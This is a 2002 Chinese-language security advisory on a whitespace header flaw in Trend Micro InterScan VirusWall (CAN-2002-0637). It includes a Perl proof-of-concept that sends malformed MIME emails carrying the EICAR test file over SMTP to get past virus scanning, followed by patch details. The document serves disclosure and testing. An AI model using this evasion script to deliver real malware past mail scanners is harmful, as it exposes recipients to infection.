Trend Micro InterScan VirusWall空白段扫描可绕过漏洞发布时间：2002-07-22 更新时间：2002-07-22 严重程度：高 威胁程度：隐蔽攻击 错误类型：意外情况处置错误 利用方式：服务器模式 BUGTRAQ ID：5259 CVE(CAN) ID：CAN-2002-0637 受影响系统 Trend Micro InterScan VirusWall for Windows NT 3.52详细描述 部分VirusWall存在漏洞，通过在邮件HTTP头栏中增加额外的空白信息可导致绕过病毒扫描机制。 恶意EMAIL服务器可以在部分邮件字段中增加恶意的大量的空白信息，可导致VirusWall在检查的时候忽略恶意邮件并不进行扫描。但是许多邮件客户端如OUTLOOK，会忽视这个空白字段并显示邮件信息，导致包含在邮件中的恶意代码执行。 测试代码 #!/usr/bin/perl # The following code generates a malformed email with an EICAR attachment(False Virus). # The vulnerability has been found to be present in TrendMicro's VirusWall, and has been now patched. # Refer to http://solutionbank.antivirus.com/solutions/solutionsearch.asp solution ID 11948 # # BeyondSecurity's SecurITeam, Copyrighted Material, for Testing Purposes only. For more information see: # http://www.securiteam.com/securitynews/5KP000A7QE.html use Getopt::Std; use IO::Socket::INET; getopt('tfhvsb'); if (!$opt_f || !$opt_t || !$opt_h) { print "Usage: malformed_email.pl <-t to> <-f from> <-h smtphost> [-v variant] [-s subject] [-b text]\nVariants:\n(1) Content-Type\n(2) Content Transfer Encoding\n(3) Boundary Space (trailing)\n(4) Boundary Space (prefix)\n"; exit; } $sock = IO::Socket::INET->new(PeerAddr => "$opt_h",PeerPort => '25', Proto => 'tcp'); unless (<$sock> =~ "220") { die "Not a SMTP Server?" } print $sock "HELO you\r\n"; unless (<$sock> =~ "250") { die "HELO failed" } print $sock "MAIL FROM:<$opt_f>\r\n"; unless (<$sock> =~ "250") { die "MAIL FROM failed" } print $sock "RCPT TO:<$opt_t>\r\n"; unless (<$sock> =~ "250") { die "RCPT TO failed" } print $sock "DATA\r\n"; unless (<$sock> =~ "354") { die "DATA failed" } if ($opt_v eq "1") { $content_type = "Content-Type :"; } else { $content_type = "Content-Type:"; } if ($opt_v eq "2") { $content_transfer_encoding = "Content-Transfer-Encoding :"; } else { $content_transfer_encoding = "Content-Transfer-Encoding:"; } if ($opt_v eq "3") { $boundary = "boundary=----=_NextPart_000_000E_01C2100B.F369D840 "; } else { if ($opt_v eq "4") { $boundary = "boundary= ----=_NextPart_000_000E_01C2100B.F369D840"; } else { $boundary = "boundary=\"----=_NextPart_000_000E_01C2100B.F369D840\""; } } print $sock <<EOF; From: $opt_f To: $opt_t Subject: $opt_s MIME-Version: 1.0 $content_type multipart/mixed; $boundary X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 This is a multi-part message in MIME format. ------=_NextPart_000_000E_01C2100B.F369D840 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit $opt_b ------=_NextPart_000_000E_01C2100B.F369D840 $content_type application/x-zip-compressed; name="eicar_com.zip" $content_transfer_encoding base64 Content-Disposition: attachment; filename="eicar_com.zip" UEsDBAoAAAAAAOCYuCg8z1FoRAAAAEQAAAAJAAAAZWljYXIuY29tWDVPIVAlQEFQWzRcUFpYNTQo UF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCpQSwECFAAK AAAAAADgmLgoPM9RaEQAAABEAAAACQAAAAAAAAABACAA/4EAAAAAZWljYXIuY29tUEsFBgAAAAAB AAEANwAAAGsAAAAAAA== ------=_NextPart_000_000E_01C2100B.F369D840-- \n.\n EOF print "Finished sending data\n"; print "Variant #$opt_v\n"; $a = <$sock>; print "$a\n"; close($sock); 解决方案 补丁下载： Trend Micro InterScan VirusWall for Windows NT 3.52: Trend Micro Patch Hotfix_build1466.zip ftp://ftp-download.trendmicro.com.ph/Gateway/isnt/Hotfix_build1466.zip 相关信息 "Noam Rathaus" <noamr@beyondsecurity.com>. 参考：http://www.securiteam.com/securitynews/5KP000A7QE.html 相关主页：http://www.antivirus.com/products/isvw/ |
